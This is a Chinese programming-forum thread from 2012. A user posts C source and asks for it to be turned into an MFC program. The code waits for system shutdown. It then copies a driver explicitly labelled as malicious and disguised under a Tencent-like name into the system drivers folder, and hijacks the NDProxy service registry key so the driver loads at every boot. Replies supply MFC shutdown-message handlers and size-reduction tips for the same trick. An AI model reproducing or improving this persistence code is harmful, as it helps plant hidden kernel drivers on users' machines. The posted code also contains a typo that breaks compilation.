找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 5471|回复: 3

求助 编译源码!! 急

  [复制链接]

1

主题

0

回帖

0

精华

初来乍到

积分
24
发表于 2012-6-3 22:33:03 | 显示全部楼层 |阅读模式
以下源码是一个  关于关机时写注册表的程序 请大牛们  把他写成MFC程序  然后发到本帖或本论坛

谢谢···············!!


···············
#include <windows.h>
#include <stdio.h>

/*驱动路径*/
#define MAL_DRIVER_FILE_PATH "C:\\QQ\\GRD_Tercent.sys"
/*目标路径,将驱动复制到系统驱动文件夹下*/
#define SYS_DRIVER_FILE_PATH "C:\\Windows\\system32\\drivers\\GRD_Tercent.sys"
/*在注册表Services键下的一个子键*/
#define SUB_KEY_PATH  "SYSTEM\\CurrentControlSet\\Services\\NDProxy"
/*NDProxy中ImagePath的值*/
#define IMAGE_PATH_VALUE "system32\\drivers\\GRD_Tercent.sys"
BOOL g_bExit    =    FALSE;
BOOL CtrlHandler(DWORD fdwCtrlType )  
{

     
    /*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/
    if(fdwCtrlType == CTRL_CLOSE_EVENT||
        fdwCtrlType    ==    CTRL_LOGOFF_EVENT ||
        fdwCtrlType == CTRL_SHUTDOWN_EVENT)
     
    {
     
        /*将驱动文件复制到系统目录下*/
        BOOL bRet    =    CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE);
        if(FALSE == bRet)
        {
            g_bExit    =    TRUE;
            return 1;
        }
         
        /*打开注册表键*/
        HKEY    hKey    =    NULL;
        LONG    lRet    =    ERROR_SUCCESS;
        lRet    =    RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey);
        if (ERROR_SUCCESS    !=    lRet)
        {
         
            g_bExit    =    TRUE;
            return 1;
        }
        DWORD dwData    =    0;
        /*将NDProxy下的ImagePath设置为驱动的路径*/
        lRet    =    RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE));
        if (ERROR_SUCCESS    !=    lRet)
        {
            RegCloseKey(hKey);
            g_bExit    =    TRUE;
            return 1;
        }
        DWORD dwStart    =    1;
        /*将NDProxy设置为1表示自启动*/
        lRet    =    RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart));
        if (ERROR_SUCCESS    !=    lRet)
        {
            RegCloseKey(hKey);
            g_bExit    =    TRUE;
            return 1;
        }
        RegCloseKey(hKey);
        /*结束进程*/
        ExitProcess(0);
    }
    return 1;
}


int main()
{
     
    /*将该进程在系统关闭时的优先级设置为最低*/
    if(!SetProcessShutdownParameters(0x00,FALSE))
    {
        printf("Error Code%d\r\n",GetLastError());
        return 0;
    }
    /*为该进程注册一个控制台处理例程*/
    if(    SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler,
                          TRUE)    !=    TRUE)
    {
        printf("Error Code%d\r\n",GetLastError());
        return 0;
    }
     
    /*这里什么都不干,等待系统的关闭*/
    do
    {
        Sleep(1000);     
    }
    while(g_bExit != TRUE);
     
    return 0;
}

96

主题

158

回帖

4

精华

核心会员

积分
6513
发表于 2012-6-4 08:52:50 | 显示全部楼层
本帖最后由 diddom 于 2012-6-4 10:00 编辑

观摩~

学习~学习~{:soso_e113:}


WM_ENDSESSION, WM_QUERYENDSESSION  应该可以收到关机message

WM_CLOS, 关闭程式message


void CShutdownPCDlg::OnClose()
{
        // TODO: Add your message handler code here and/or call default

        CDialogEx::OnClose();
}

void CShutdownPCDlg::OnEndSession(BOOL bEnding)
{
        CDialogEx::OnEndSession(bEnding);

        // TODO: Add your message handler code here
}


BOOL CShutdownPCDlg::OnQueryEndSession()
{
        if (!CDialogEx::OnQueryEndSession())
                return FALSE;

        // TODO:  Add your specialized query end session code here

        return TRUE;
}


CTRL_C_EVENT - 当用户按下了CTRL+C,或者由GenerateConsoleCtrlEvent API发出.
CTRL_BREAK_EVENT - 用户按下CTRL+BREAK, 或者由GenerateConsoleCtrlEvent API发出.
CTRL_CLOSE_EVENT - 当试图关闭控制台程序,系统发送关闭消息。
CTRL_LOGOFF_EVENT - 用户退出时,但是不能决定是哪个用户.
CTRL_SHUTDOWN_EVENT - 当系统被关闭时.  



SetProcessShutdownParameters(0x00,FALSE))  应该可以加在

BOOL CShutdownPCDlg::OnInitDialog() 里面
{
  ...
  ....

           // Set the icon for this dialog.  The framework does this automatically
        //  when the application's main window is not a dialog
        SetIcon(m_hIcon, TRUE);                        // Set big icon
        SetIcon(m_hIcon, FALSE);                // Set small icon

        if(!::SetProcessShutdownParameters(0x00,FALSE))
    {
        printf("Error Code%d\r\n",GetLastError());
        return 0;
    }


        ShowWindow(SW_MINIMIZE);

        // TODO: Add extra initialization here

        return TRUE;  // return TRUE  unless you set the focus to a control


}








4

主题

183

回帖

3

精华

钻石会员

积分
4965
发表于 2012-6-4 09:03:47 | 显示全部楼层
看来大家都在用这招呀!!!MFC编译后的2-3M,对于你要写的软件是不是太大了?还是自己注册窗口、截获关机消息吧,这样也就30k左右

96

主题

158

回帖

4

精华

核心会员

积分
6513
发表于 2012-6-5 06:12:16 | 显示全部楼层
本帖最后由 diddom 于 2012-6-5 07:32 编辑

说真的,也不知道 LZ 要的是 Dialog Base 的MFC还是SDI还是MDI还是 Console

万一给错了, 就不好意思了, 很想帮你的忙的呆呆{:soso_e113:}
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表